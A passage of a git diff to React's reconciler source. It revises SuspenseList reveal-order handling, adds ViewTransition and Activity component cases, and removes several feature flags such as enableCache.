-          workInProgress,
-          nextPrimaryChildren,
-          nextFallbackChildren,
-          renderLanes,
-        );
+      mountSuspenseFallbackAfterRetryWithoutHydrating(
+        current,
+        workInProgress,
+        nextPrimaryChildren,
+        nextFallbackChildren,
+        renderLanes,
+      );
       const primaryChildFragment: Fiber = (workInProgress.child: any);
       primaryChildFragment.memoizedState =
         mountSuspenseOffscreenState(renderLanes);
@@ -2918,7 +3156,7 @@ function updateDehydratedSuspenseComponent(
         renderLanes,
       );
       workInProgress.memoizedState = SUSPENDED_MARKER;
-      return fallbackChildFragment;
+      return bailoutOffscreenComponent(null, primaryChildFragment);
     }
   }
 }
@@ -3001,23 +3239,25 @@ function findLastContentRow(firstChild: null | Fiber): null | Fiber {
   return lastContentRow;
 }
 
-type SuspenseListRevealOrder = 'forwards' | 'backwards' | 'together' | void;
-
 function validateRevealOrder(revealOrder: SuspenseListRevealOrder) {
   if (__DEV__) {
+    const cacheKey = revealOrder == null ? 'null' : revealOrder;
     if (
-      revealOrder !== undefined &&
+      revealOrder != null &&
       revealOrder !== 'forwards' &&
       revealOrder !== 'backwards' &&
+      revealOrder !== 'unstable_legacy-backwards' &&
       revealOrder !== 'together' &&
-      !didWarnAboutRevealOrder[revealOrder]
+      revealOrder !== 'independent' &&
+      !didWarnAboutRevealOrder[cacheKey]
     ) {
-      didWarnAboutRevealOrder[revealOrder] = true;
+      didWarnAboutRevealOrder[cacheKey] = true;
       if (typeof revealOrder === 'string') {
         switch (revealOrder.toLowerCase()) {
           case 'together':
           case 'forwards':
-          case 'backwards': {
+          case 'backwards':
+          case 'independent': {
             console.error(
               '"%s" is not a valid value for revealOrder on <SuspenseList />. ' +
                 'Use lowercase "%s" instead.',
@@ -3039,7 +3279,7 @@ function validateRevealOrder(revealOrder: SuspenseListRevealOrder) {
           default:
             console.error(
               '"%s" is not a supported revealOrder on <SuspenseList />. ' +
-                'Did you mean "together", "forwards" or "backwards"?',
+                'Did you mean "independent", "together", "forwards" or "backwards"?',
               revealOrder,
             );
             break;
@@ -3047,7 +3287,7 @@ function validateRevealOrder(revealOrder: SuspenseListRevealOrder) {
       } else {
         console.error(
           '%s is not a supported value for revealOrder on <SuspenseList />. ' +
-            'Did you mean "together", "forwards" or "backwards"?',
+            'Did you mean "independent", "together", "forwards" or "backwards"?',
           revealOrder,
         );
       }
@@ -3060,19 +3300,31 @@ function validateTailOptions(
   revealOrder: SuspenseListRevealOrder,
 ) {
   if (__DEV__) {
-    if (tailMode !== undefined && !didWarnAboutTailOptions[tailMode]) {
-      if (tailMode !== 'collapsed' && tailMode !== 'hidden') {
-        didWarnAboutTailOptions[tailMode] = true;
+    const cacheKey = tailMode == null ? 'null' : tailMode;
+    if (!didWarnAboutTailOptions[cacheKey]) {
+      if (tailMode == null) {
+        // The default tail is now "hidden".
+      } else if (
+        tailMode !== 'visible' &&
+        tailMode !== 'collapsed' &&
+        tailMode !== 'hidden'
+      ) {
+        didWarnAboutTailOptions[cacheKey] = true;
         console.error(
           '"%s" is not a supported value for tail on <SuspenseList />. ' +
-            'Did you mean "collapsed" or "hidden"?',
+            'Did you mean "visible", "collapsed" or "hidden"?',
           tailMode,
         );
-      } else if (revealOrder !== 'forwards' && revealOrder !== 'backwards') {
-        didWarnAboutTailOptions[tailMode] = true;
+      } else if (
+        revealOrder != null &&
+        revealOrder !== 'forwards' &&
+        revealOrder !== 'backwards' &&
+        revealOrder !== 'unstable_legacy-backwards'
+      ) {
+        didWarnAboutTailOptions[cacheKey] = true;
         console.error(
           '<SuspenseList tail="%s" /> is only valid if revealOrder is ' +
-            '"forwards" or "backwards". ' +
+            '"forwards" (default) or "backwards". ' +
             'Did you mean to specify revealOrder="forwards"?',
           tailMode,
         );
@@ -3081,79 +3333,13 @@ function validateTailOptions(
   }
 }
 
-function validateSuspenseListNestedChild(childSlot: mixed, index: number) {
-  if (__DEV__) {
-    const isAnArray = isArray(childSlot);
-    const isIterable =
-      !isAnArray && typeof getIteratorFn(childSlot) === 'function';
-    if (isAnArray || isIterable) {
-      const type = isAnArray ? 'array' : 'iterable';
-      console.error(
-        'A nested %s was passed to row #%s in <SuspenseList />. Wrap it in ' +
-          'an additional SuspenseList to configure its revealOrder: ' +
-          '<SuspenseList revealOrder=...> ... ' +
-          '<SuspenseList revealOrder=...>{%s}</SuspenseList> ... ' +
-          '</SuspenseList>',
-        type,
-        index,
-        type,
-      );
-      return false;
-    }
-  }
-  return true;
-}
-
-function validateSuspenseListChildren(
-  children: mixed,
-  revealOrder: SuspenseListRevealOrder,
-) {
-  if (__DEV__) {
-    if (
-      (revealOrder === 'forwards' || revealOrder === 'backwards') &&
-      children !== undefined &&
-      children !== null &&
-      children !== false
-    ) {
-      if (isArray(children)) {
-        for (let i = 0; i < children.length; i++) {
-          if (!validateSuspenseListNestedChild(children[i], i)) {
-            return;
-          }
-        }
-      } else {
-        const iteratorFn = getIteratorFn(children);
-        if (typeof iteratorFn === 'function') {
-          const childrenIterator = iteratorFn.call(children);
-          if (childrenIterator) {
-            let step = childrenIterator.next();
-            let i = 0;
-            for (; !step.done; step = childrenIterator.next()) {
-              if (!validateSuspenseListNestedChild(step.value, i)) {
-                return;
-              }
-              i++;
-            }
-          }
-        } else {
-          console.error(
-            'A single row was passed to a <SuspenseList revealOrder="%s" />. ' +
-              'This is not useful since it needs multiple rows. ' +
-              'Did you mean to pass multiple children or an array?',
-            revealOrder,
-          );
-        }
-      }
-    }
-  }
-}
-
 function initSuspenseListRenderState(
   workInProgress: Fiber,
   isBackwards: boolean,
   tail: null | Fiber,
   lastContentRow: null | Fiber,
   tailMode: SuspenseListTailMode,
+  treeForkCount: number,
 ): void {
   const renderState: null | SuspenseListRenderState =
     workInProgress.memoizedState;
@@ -3165,6 +3351,7 @@ function initSuspenseListRenderState(
       last: lastContentRow,
       tail: tail,
       tailMode: tailMode,
+      treeForkCount: treeForkCount,
     }: SuspenseListRenderState);
   } else {
     // We can reuse the existing object from previous renders.
@@ -3174,6 +3361,18 @@ function initSuspenseListRenderState(
     renderState.last = lastContentRow;
     renderState.tail = tail;
     renderState.tailMode = tailMode;
+    renderState.treeForkCount = treeForkCount;
+  }
+}
+
+function reverseChildren(fiber: Fiber): void {
+  let row = fiber.child;
+  fiber.child = null;
+  while (row !== null) {
+    const nextRow = row.sibling;
+    row.sibling = fiber.child;
+    fiber.child = row;
+    row = nextRow;
   }
 }
 
@@ -3189,19 +3388,20 @@ function updateSuspenseListComponent(
   workInProgress: Fiber,
   renderLanes: Lanes,
 ) {
-  const nextProps = workInProgress.pendingProps;
+  const nextProps: SuspenseListProps = workInProgress.pendingProps;
   const revealOrder: SuspenseListRevealOrder = nextProps.revealOrder;
   const tailMode: SuspenseListTailMode = nextProps.tail;
   const newChildren = nextProps.children;
 
-  validateRevealOrder(revealOrder);
-  validateTailOptions(tailMode, revealOrder);
-  validateSuspenseListChildren(newChildren, revealOrder);
-
-  reconcileChildren(current, workInProgress, newChildren, renderLanes);
-
   let suspenseContext: SuspenseContext = suspenseStackCursor.current;
 
+  if (workInProgress.flags & DidCapture) {
+    // This is the second pass after having suspended in a row. Proceed directly
+    // to the complete phase.
+    pushSuspenseListContext(workInProgress, suspenseContext);
+    return null;
+  }
+
   const shouldForceFallback = hasSuspenseListContext(
     suspenseContext,
     (ForceSuspenseFallback: SuspenseContext),
@@ -3213,6 +3413,28 @@ function updateSuspenseListComponent(
     );
     workInProgress.flags |= DidCapture;
   } else {
+    suspenseContext = setDefaultShallowSuspenseListContext(suspenseContext);
+  }
+  pushSuspenseListContext(workInProgress, suspenseContext);
+
+  validateRevealOrder(revealOrder);
+  validateTailOptions(tailMode, revealOrder);
+  validateSuspenseListChildren(newChildren, revealOrder);
+
+  if (revealOrder === 'backwards' && current !== null) {
+    // For backwards the current mounted set will be backwards. Reconciling against it
+    // will lead to mismatches and reorders. We need to swap the original set first
+    // and then restore it afterwards.
+    reverseChildren(current);
+    reconcileChildren(current, workInProgress, newChildren, renderLanes);
+    reverseChildren(current);
+  } else {
+    reconcileChildren(current, workInProgress, newChildren, renderLanes);
+  }
+  // Read how many children forks this set pushed so we can push it every time we retry.
+  const treeForkCount = getIsHydrating() ? getForksAtLevel(workInProgress) : 0;
+
+  if (!shouldForceFallback) {
     const didSuspendBefore =
       current !== null && (current.flags & DidCapture) !== NoFlags;
     if (didSuspendBefore) {
@@ -3225,9 +3447,7 @@ function updateSuspenseListComponent(
         renderLanes,
       );
     }
-    suspenseContext = setDefaultShallowSuspenseListContext(suspenseContext);
   }
-  pushSuspenseListContext(workInProgress, suspenseContext);
 
   if (!disableLegacyMode && (workInProgress.mode & ConcurrentMode) === NoMode) {
     // In legacy mode, SuspenseList doesn't work so we just
@@ -3235,30 +3455,38 @@ function updateSuspenseListComponent(
     workInProgress.memoizedState = null;
   } else {
     switch (revealOrder) {
-      case 'forwards': {
+      case 'backwards': {
+        // We're going to find the first row that has existing content.
+        // We are also going to reverse the order of anything in the existing content
+        // since we want to actually render them backwards from the reconciled set.
+        // The tail is left in order, because it'll be added to the front as we
+        // complete each item.
         const lastContentRow = findLastContentRow(workInProgress.child);
         let tail;
         if (lastContentRow === null) {
           // The whole list is part of the tail.
-          // TODO: We could fast path by just rendering the tail now.
           tail = workInProgress.child;
           workInProgress.child = null;
         } else {
           // Disconnect the tail rows after the content row.
-          // We're going to render them separately later.
+          // We're going to render them separately later in reverse order.
           tail = lastContentRow.sibling;
           lastContentRow.sibling = null;
+          // We have to now reverse the main content so it renders backwards too.
+          reverseChildren(workInProgress);
         }
+        // TODO: If workInProgress.child is null, we can continue on the tail immediately.
         initSuspenseListRenderState(
           workInProgress,
-          false, // isBackwards
+          true, // isBackwards
           tail,
-          lastContentRow,
+          null, // last
           tailMode,
+          treeForkCount,
         );
         break;
       }
-      case 'backwards': {
+      case 'unstable_legacy-backwards': {
         // We're going to find the first row that has existing content.
         // At the same time we're going to reverse the list of everything
         // we pass in the meantime. That's going to be our tail in reverse
@@ -3286,6 +3514,7 @@ function updateSuspenseListComponent(
           tail,
           null, // last
           tailMode,
+          treeForkCount,
         );
         break;
       }
@@ -3296,16 +3525,106 @@ function updateSuspenseListComponent(
           null, // tail
           null, // last
           undefined,
+          treeForkCount,
         );
         break;
       }
-      default: {
-        // The default reveal order is the same as not having
+      case 'independent': {
+        // The "independent" reveal order is the same as not having
         // a boundary.
         workInProgress.memoizedState = null;
+        break;
+      }
+      // The default is now forwards.
+      case 'forwards':
+      default: {
+        const lastContentRow = findLastContentRow(workInProgress.child);
+        let tail;
+        if (lastContentRow === null) {
+          // The whole list is part of the tail.
+          // TODO: We could fast path by just rendering the tail now.
+          tail = workInProgress.child;
+          workInProgress.child = null;
+        } else {
+          // Disconnect the tail rows after the content row.
+          // We're going to render them separately later.
+          tail = lastContentRow.sibling;
+          lastContentRow.sibling = null;
+        }
+        initSuspenseListRenderState(
+          workInProgress,
+          false, // isBackwards
+          tail,
+          lastContentRow,
+          tailMode,
+          treeForkCount,
+        );
+        break;
+      }
+    }
+  }
+  return workInProgress.child;
+}
+
+function updateViewTransition(
+  current: Fiber | null,
+  workInProgress: Fiber,
+  renderLanes: Lanes,
+) {
+  if (workInProgress.stateNode === null) {
+    // We previously reset the work-in-progress.
+    // We need to create a new ViewTransitionState instance.
+    const instance: ViewTransitionState = {
+      autoName: null,
+      paired: null,
+      clones: null,
+      ref: null,
+    };
+    workInProgress.stateNode = instance;
+  }
+
+  const pendingProps: ViewTransitionProps = workInProgress.pendingProps;
+  if (pendingProps.name != null && pendingProps.name !== 'auto') {
+    // Explicitly named boundary. We track it so that we can pair it up with another explicit
+    // boundary if we get deleted.
+    workInProgress.flags |=
+      current === null
+        ? ViewTransitionNamedMount | ViewTransitionNamedStatic
+        : ViewTransitionNamedStatic;
+  } else {
+    // The server may have used useId to auto-assign a generated name for this boundary.
+    // We push a materialization to ensure child ids line up with the server.
+    if (getIsHydrating()) {
+      pushMaterializedTreeId(workInProgress);
+    }
+  }
+  if (__DEV__) {
+    // $FlowFixMe[prop-missing]
+    if (pendingProps.className !== undefined) {
+      const example =
+        typeof pendingProps.className === 'string'
+          ? JSON.stringify(pendingProps.className)
+          : '{...}';
+      if (!didWarnAboutClassNameOnViewTransition[example]) {
+        didWarnAboutClassNameOnViewTransition[example] = true;
+        console.error(
+          '<ViewTransition> doesn\'t accept a "className" prop. It has been renamed to "default".\n' +
+            '-   <ViewTransition className=%s>\n' +
+            '+   <ViewTransition default=%s>',
+          example,
+          example,
+        );
       }
     }
   }
+  if (current !== null && current.memoizedProps.name !== pendingProps.name) {
+    // If the name changes, we schedule a ref effect to create a new ref instance.
+    workInProgress.flags |= Ref | RefStatic;
+  } else {
+    markRef(current, workInProgress);
+  }
+  const nextChildren = pendingProps.children;
+  reconcileChildren(current, workInProgress, nextChildren, renderLanes);
   return workInProgress.child;
 }
 
@@ -3341,15 +3660,8 @@ function updateContextProvider(
   workInProgress: Fiber,
   renderLanes: Lanes,
 ) {
-  let context: ReactContext<any>;
-  if (enableRenderableContext) {
-    context = workInProgress.type;
-  } else {
-    context = workInProgress.type._context;
-  }
+  const context: ReactContext<any> = workInProgress.type;
   const newProps = workInProgress.pendingProps;
-  const oldProps = workInProgress.memoizedProps;
-
   const newValue = newProps.value;
 
   if (__DEV__) {
@@ -3365,34 +3677,6 @@ function updateContextProvider(
 
   pushProvider(workInProgress, context, newValue);
 
-  if (enableLazyContextPropagation) {
-    // In the lazy propagation implementation, we don't scan for matching
-    // consumers until something bails out, because until something bails out
-    // we're going to visit those nodes, anyway. The trade-off is that it shifts
-    // responsibility to the consumer to track whether something has changed.
-  } else {
-    if (oldProps !== null) {
-      const oldValue = oldProps.value;
-      if (is(oldValue, newValue)) {
-        // No change. Bailout early if children are the same.
-        if (
-          oldProps.children === newProps.children &&
-          !hasLegacyContextChanged()
-        ) {
-          return bailoutOnAlreadyFinishedWork(
-            current,
-            workInProgress,
-            renderLanes,
-          );
-        }
-      } else {
-        // The context value changed. Search for matching consumers and schedule
-        // them to update.
-        propagateContextChange(workInProgress, context, renderLanes);
-      }
-    }
-  }
-
   const newChildren = newProps.children;
   reconcileChildren(current, workInProgress, newChildren, renderLanes);
   return workInProgress.child;
@@ -3403,18 +3687,8 @@ function updateContextConsumer(
   workInProgress: Fiber,
   renderLanes: Lanes,
 ) {
-  let context: ReactContext<any>;
-  if (enableRenderableContext) {
-    const consumerType: ReactConsumerType<any> = workInProgress.type;
-    context = consumerType._context;
-  } else {
-    context = workInProgress.type;
-    if (__DEV__) {
-      if ((context: any)._context !== undefined) {
-        context = (context: any)._context;
-      }
-    }
-  }
+  const consumerType: ReactConsumerType<any> = workInProgress.type;
+  const context: ReactContext<any> = consumerType._context;
   const newProps = workInProgress.pendingProps;
   const render = newProps.children;
 
@@ -3511,7 +3785,7 @@ function bailoutOnAlreadyFinishedWork(
     // TODO: Once we add back resuming, we should check if the children are
     // a work-in-progress set. If so, we need to transfer their effects.
 
-    if (enableLazyContextPropagation && current !== null) {
+    if (current !== null) {
       // Before bailing out, check if there are any context changes in
       // the children.
       lazilyPropagateParentContextChanges(current, workInProgress, renderLanes);
@@ -3612,11 +3886,9 @@ function checkScheduledUpdateOrContext(
   }
   // No pending update, but because context is propagated lazily, we need
   // to check for a context change before we bail out.
-  if (enableLazyContextPropagation) {
-    const dependencies = current.dependencies;
-    if (dependencies !== null && checkIfContextChanged(dependencies)) {
-      return true;
-    }
+  const dependencies = current.dependencies;
+  if (dependencies !== null && checkIfContextChanged(dependencies)) {
+    return true;
   }
   return false;
 }
@@ -3630,7 +3902,7 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
   // the begin phase. There's still some bookkeeping we that needs to be done
   // in this optimized path, mostly pushing stuff onto the stack.
   switch (workInProgress.tag) {
-    case HostRoot:
+    case HostRoot: {
       pushHostRootContext(workInProgress);
       const root: FiberRoot = workInProgress.stateNode;
       pushRootTransition(workInProgress, root, renderLanes);
@@ -3639,12 +3911,11 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
         pushRootMarkerInstance(workInProgress);
       }
 
-      if (enableCache) {
-        const cache: Cache = current.memoizedState.cache;
-        pushCacheProvider(workInProgress, cache);
-      }
+      const cache: Cache = current.memoizedState.cache;
+      pushCacheProvider(workInProgress, cache);
       resetHydrationState();
       break;
+    }
     case HostSingleton:
     case HostComponent:
       pushHostContext(workInProgress);
@@ -3661,12 +3932,7 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
       break;
     case ContextProvider: {
       const newValue = workInProgress.memoizedProps.value;
-      let context: ReactContext<any>;
-      if (enableRenderableContext) {
-        context = workInProgress.type;
-      } else {
-        context = workInProgress.type._context;
-      }
+      const context: ReactContext<any> = workInProgress.type;
       pushProvider(workInProgress, context, newValue);
       break;
     }
@@ -3682,14 +3948,32 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
         }
 
         if (enableProfilerCommitHooks) {
+          // Schedule a passive effect for this Profiler to call onPostCommit hooks.
+          // This effect should be scheduled even if there is no onPostCommit callback for this Profiler,
+          // because the effect is also where times bubble to parent Profilers.
+          workInProgress.flags |= Passive;
           // Reset effect durations for the next eventual effect phase.
           // These are reset during render to allow the DevTools commit hook a chance to read them,
           const stateNode = workInProgress.stateNode;
-          stateNode.effectDuration = 0;
-          stateNode.passiveEffectDuration = 0;
+          stateNode.effectDuration = -0;
+          stateNode.passiveEffectDuration = -0;
         }
       }
       break;
+    case ActivityComponent: {
+      const state: ActivityState | null = workInProgress.memoizedState;
+      if (state !== null) {
+        // We're dehydrated so we're not going to render the children. This is just
+        // to maintain push/pop symmetry.
+        // We know that this component will suspend again because if it has
+        // been unsuspended it has committed as a hydrated Activity component.
+        // If it needs to be retried, it should have work scheduled on it.
+        workInProgress.flags |= DidCapture;
+        pushDehydratedActivitySuspenseHandler(workInProgress);
+        return null;
+      }
+      break;
+    }
     case SuspenseComponent: {
       const state: SuspenseState | null = workInProgress.memoizedState;
       if (state !== null) {
@@ -3710,9 +3994,23 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
         // whether to retry the primary children, or to skip over it and
         // go straight to the fallback. Check the priority of the primary
         // child fragment.
+        //
+        // Propagate context changes first. If a parent context changed
+        // and the primary children's consumer fibers were discarded
+        // during initial mount suspension, normal propagation can't find
+        // them. In that case we conservatively retry the boundary — the
+        // re-mounted children will read the updated context value.
+        const contextChanged = lazilyPropagateParentContextChanges(
+          current,
+          workInProgress,
+          renderLanes,
+        );
         const primaryChildFragment: Fiber = (workInProgress.child: any);
         const primaryChildLanes = primaryChildFragment.childLanes;
-        if (includesSomeLane(renderLanes, primaryChildLanes)) {
+        if (
+          contextChanged ||
+          includesSomeLane(renderLanes, primaryChildLanes)
+        ) {
           // The primary children have pending work. Use the normal path
           // to attempt to render the primary children again.
           return updateSuspenseComponent(current, workInProgress, renderLanes);
@@ -3744,6 +4042,14 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
       break;
     }
     case SuspenseListComponent: {
+      if (workInProgress.flags & DidCapture) {
+        // Second pass caught.
+        return updateSuspenseListComponent(
+          current,
+          workInProgress,
+          renderLanes,
+        );
+      }
       const didSuspendBefore = (current.flags & DidCapture) !== NoFlags;
 
       let hasChildWork = includesSomeLane(
@@ -3751,7 +4057,7 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
         workInProgress.childLanes,
       );
 
-      if (enableLazyContextPropagation && !hasChildWork) {
+      if (!hasChildWork) {
         // Context changes may not have been propagated yet. We need to do
         // that now, before we can decide whether to bail out.
         // TODO: We use `childLanes` as a heuristic for whether there is
@@ -3808,8 +4114,7 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
         return null;
       }
     }
-    case OffscreenComponent:
-    case LegacyHiddenComponent: {
+    case OffscreenComponent: {
       // Need to check if the tree still needs to be deferred. This is
       // almost identical to the logic used in the normal update path,
       // so we'll just enter that. The only difference is we'll bail out
@@ -3819,13 +4124,16 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
       // path from the normal path. I'm tempted to do a labeled break here
       // but I won't :)
       workInProgress.lanes = NoLanes;
-      return updateOffscreenComponent(current, workInProgress, renderLanes);
+      return updateOffscreenComponent(
+        current,
+        workInProgress,
+        renderLanes,
+        workInProgress.pendingProps,
+      );
     }
     case CacheComponent: {
-      if (enableCache) {
-        const cache: Cache = current.memoizedState.cache;
-        pushCacheProvider(workInProgress, cache);
-      }
+      const cache: Cache = current.memoizedState.cache;
+      pushCacheProvider(workInProgress, cache);
       break;
     }
     case TracingMarkerComponent: {
@@ -3834,7 +4142,20 @@ function attemptEarlyBailoutIfNoScheduledUpdate(
         if (instance !== null) {
           pushMarkerInstance(workInProgress, instance);
         }
+        break;
       }
+      // Fallthrough
+    }
+    case LegacyHiddenComponent: {
+      if (enableLegacyHidden) {
+        workInProgress.lanes = NoLanes;
+        return updateLegacyHiddenComponent(
+          current,
+          workInProgress,
+          renderLanes,
+        );
+      }
+      // Fallthrough
     }
   }
   return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
@@ -3856,10 +4177,8 @@ function beginWork(
         workInProgress.mode,
         workInProgress.lanes,
       );
-      if (enableOwnerStacks) {
-        copiedFiber._debugStack = workInProgress._debugStack;
-        copiedFiber._debugTask = workInProgress._debugTask;
-      }
+      copiedFiber._debugStack = workInProgress._debugStack;
+      copiedFiber._debugTask = workInProgress._debugTask;
       return remountFiber(current, workInProgress, copiedFiber);
     }
   }
@@ -3948,17 +4267,11 @@ function beginWork(
     }
     case FunctionComponent: {
       const Component = workInProgress.type;
-      const unresolvedProps = workInProgress.pendingProps;
-      const resolvedProps =
-        disableDefaultPropsExceptForClasses ||
-        workInProgress.elementType === Component
-          ? unresolvedProps
-          : resolveDefaultPropsOnNonClassComponent(Component, unresolvedProps);
       return updateFunctionComponent(
         current,
         workInProgress,
         Component,
-        resolvedProps,
+        workInProgress.pendingProps,
         renderLanes,
       );
     }
@@ -3968,7 +4281,6 @@ function beginWork(
       const resolvedProps = resolveClassComponentProps(
         Component,
         unresolvedProps,
-        workInProgress.elementType === Component,
       );
       return updateClassComponent(
         current,
@@ -3999,18 +4311,11 @@ function beginWork(
     case HostPortal:
       return updatePortalComponent(current, workInProgress, renderLanes);
     case ForwardRef: {
-      const type = workInProgress.type;
-      const unresolvedProps = workInProgress.pendingProps;
-      const resolvedProps =
-        disableDefaultPropsExceptForClasses ||
-        workInProgress.elementType === type
-          ? unresolvedProps
-          : resolveDefaultPropsOnNonClassComponent(type, unresolvedProps);
       return updateForwardRef(
         current,
         workInProgress,
-        type,
-        resolvedProps,
+        workInProgress.type,
+        workInProgress.pendingProps,
         renderLanes,
       );
     }
@@ -4025,20 +4330,11 @@ function beginWork(
     case ContextConsumer:
       return updateContextConsumer(current, workInProgress, renderLanes);
     case MemoComponent: {
-      const type = workInProgress.type;
-      const unresolvedProps = workInProgress.pendingProps;
-      // Resolve outer props first, then resolve inner props.
-      let resolvedProps = disableDefaultPropsExceptForClasses
-        ? unresolvedProps
-        : resolveDefaultPropsOnNonClassComponent(type, unresolvedProps);
-      resolvedProps = disableDefaultPropsExceptForClasses
-        ? resolvedProps
-        : resolveDefaultPropsOnNonClassComponent(type.type, resolvedProps);
       return updateMemoComponent(
         current,
         workInProgress,
-        type,
-        resolvedProps,
+        workInProgress.type,
+        workInProgress.pendingProps,
         renderLanes,
       );
     }
@@ -4060,7 +4356,6 @@ function beginWork(
       const resolvedProps = resolveClassComponentProps(
         Component,
         unresolvedProps,
-        workInProgress.elementType === Component,
       );
       return mountIncompleteClassComponent(
         current,
@@ -4079,7 +4374,6 @@ function beginWork(
       const resolvedProps = resolveClassComponentProps(
         Component,
         unresolvedProps,
-        workInProgress.elementType === Component,
       );
       return mountIncompleteFunctionComponent(
         current,
@@ -4098,8 +4392,16 @@ function beginWork(
       }
       break;
     }
+    case ActivityComponent: {
+      return updateActivityComponent(current, workInProgress, renderLanes);
+    }
     case OffscreenComponent: {
-      return updateOffscreenComponent(current, workInProgress, renderLanes);
+      return updateOffscreenComponent(
+        current,
+        workInProgress,
+        renderLanes,
+        workInProgress.pendingProps,
+      );
     }
     case LegacyHiddenComponent: {
       if (enableLegacyHidden) {
@@ -4112,10 +4414,7 @@ function beginWork(
       break;
     }
     case CacheComponent: {
-      if (enableCache) {
-        return updateCacheComponent(current, workInProgress, renderLanes);
-      }
-      break;
+      return updateCacheComponent(current, workInProgress, renderLanes);
     }
     case TracingMarkerComponent: {
       if (enableTransitionTracing) {
@@ -4127,6 +4426,12 @@ function beginWork(
       }
       break;
     }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        return updateViewTransition(current, workInProgress, renderLanes);
+      }
+      break;
+    }
     case Throw: {
       // This represents a Component that threw in the reconciliation phase.
       // So we'll rethrow here. This might be a Thenable.
diff --git a/packages/react-reconciler/src/ReactFiberCacheComponent.js b/packages/react-reconciler/src/ReactFiberCacheComponent.js
index 64269c5785d1..0ab12bd4ec4d 100644
--- a/packages/react-reconciler/src/ReactFiberCacheComponent.js
+++ b/packages/react-reconciler/src/ReactFiberCacheComponent.js
@@ -10,7 +10,6 @@
 import type {ReactContext} from 'shared/ReactTypes';
 import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
 
-import {enableCache} from 'shared/ReactFeatureFlags';
 import {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
 
 import {pushProvider, popProvider} from './ReactFiberNewContext';
@@ -18,15 +17,15 @@ import * as Scheduler from 'scheduler';
 
 // In environments without AbortController (e.g. tests)
 // replace it with a lightweight shim that only has the features we use.
-const AbortControllerLocal: typeof AbortController = enableCache
-  ? typeof AbortController !== 'undefined'
+const AbortControllerLocal: typeof AbortController =
+  typeof AbortController !== 'undefined'
     ? AbortController
-    : // $FlowFixMe[missing-this-annot]
-      // $FlowFixMe[prop-missing]
+    : // $FlowFixMe[incompatible-type]
+      // $FlowFixMe[missing-this-annot]
       function AbortControllerShim() {
         const listeners = [];
         const signal = (this.signal = {
-          aborted: false,
+          aborted: false as boolean,
           addEventListener: (type, listener) => {
             listeners.push(listener);
           },
@@ -36,9 +35,7 @@ const AbortControllerLocal: typeof AbortController = enableCache
           signal.aborted = true;
           listeners.forEach(listener => listener());
         };
-      }
-  : // $FlowFixMe[incompatible-type]
-    null;
+      };
 
 export type Cache = {
   controller: AbortController,
@@ -63,20 +60,18 @@ const {
   unstable_NormalPriority: NormalPriority,
 } = Scheduler;
 
-export const CacheContext: ReactContext<Cache> = enableCache
-  ? {
-      $$typeof: REACT_CONTEXT_TYPE,
-      // We don't use Consumer/Provider for Cache components. So we'll cheat.
-      Consumer: (null: any),
-      Provider: (null: any),
-      // We'll initialize these at the root.
-      _currentValue: (null: any),
-      _currentValue2: (null: any),
-      _threadCount: 0,
-    }
-  : (null: any);
+export const CacheContext: ReactContext<Cache> = {
+  $$typeof: REACT_CONTEXT_TYPE,
+  // We don't use Consumer/Provider for Cache components. So we'll cheat.
+  Consumer: (null: any),
+  Provider: (null: any),
+  // We'll initialize these at the root.
+  _currentValue: (null: any),
+  _currentValue2: (null: any),
+  _threadCount: 0,
+};
 
-if (__DEV__ && enableCache) {
+if (__DEV__) {
   CacheContext._currentRenderer = null;
   CacheContext._currentRenderer2 = null;
 }
@@ -85,22 +80,14 @@ if (__DEV__ && enableCache) {
 // for retaining the cache once it is in use (retainCache), and releasing the cache
 // once it is no longer needed (releaseCache).
 export function createCache(): Cache {
-  if (!enableCache) {
-    return (null: any);
-  }
-  const cache: Cache = {
+  return {
     controller: new AbortControllerLocal(),
     data: new Map(),
     refCount: 0,
   };
-
-  return cache;
 }
 
 export function retainCache(cache: Cache) {
-  if (!enableCache) {
-    return;
-  }
   if (__DEV__) {
     if (cache.controller.signal.aborted) {
       console.warn(
@@ -114,9 +101,6 @@ export function retainCache(cache: Cache) {
 
 // Cleanup a cache instance, potentially freeing it if there are no more references
 export function releaseCache(cache: Cache) {
-  if (!enableCache) {
-    return;
-  }
   cache.refCount--;
   if (__DEV__) {
     if (cache.refCount < 0) {
@@ -134,15 +118,9 @@ export function releaseCache(cache: Cache) {
 }
 
 export function pushCacheProvider(workInProgress: Fiber, cache: Cache) {
-  if (!enableCache) {
-    return;
-  }
   pushProvider(workInProgress, CacheContext, cache);
 }
 
 export function popCacheProvider(workInProgress: Fiber, cache: Cache) {
-  if (!enableCache) {
-    return;
-  }
   popProvider(CacheContext, workInProgress);
 }
diff --git a/packages/react-reconciler/src/ReactFiberCallUserSpace.js b/packages/react-reconciler/src/ReactFiberCallUserSpace.js
index e85d0431b99b..ce88814797c5 100644
--- a/packages/react-reconciler/src/ReactFiberCallUserSpace.js
+++ b/packages/react-reconciler/src/ReactFiberCallUserSpace.js
@@ -7,48 +7,223 @@
  * @flow
  */
 
+import type {Fiber} from './ReactInternalTypes';
 import type {LazyComponent} from 'react/src/ReactLazy';
+import type {Effect} from './ReactFiberHooks';
+import type {CapturedValue} from './ReactCapturedValue';
 
 import {isRendering, setIsRendering} from './ReactCurrentFiber';
+import {captureCommitPhaseError} from './ReactFiberWorkLoop';
 
 // These indirections exists so we can exclude its stack frame in DEV (and anything below it).
 // TODO: Consider marking the whole bundle instead of these boundaries.
 
-/** @noinline */
-export function callComponentInDEV<Props, Arg, R>(
+const callComponent = {
+  react_stack_bottom_frame: function <Props, Arg, R>(
+    Component: (p: Props, arg: Arg) => R,
+    props: Props,
+    secondArg: Arg,
+  ): R {
+    const wasRendering = isRendering;
+    setIsRendering(true);
+    try {
+      const result = Component(props, secondArg);
+      return result;
+    } finally {
+      setIsRendering(wasRendering);
+    }
+  },
+};
+
+export const callComponentInDEV: <Props, Arg, R>(
   Component: (p: Props, arg: Arg) => R,
   props: Props,
   secondArg: Arg,
-): R {
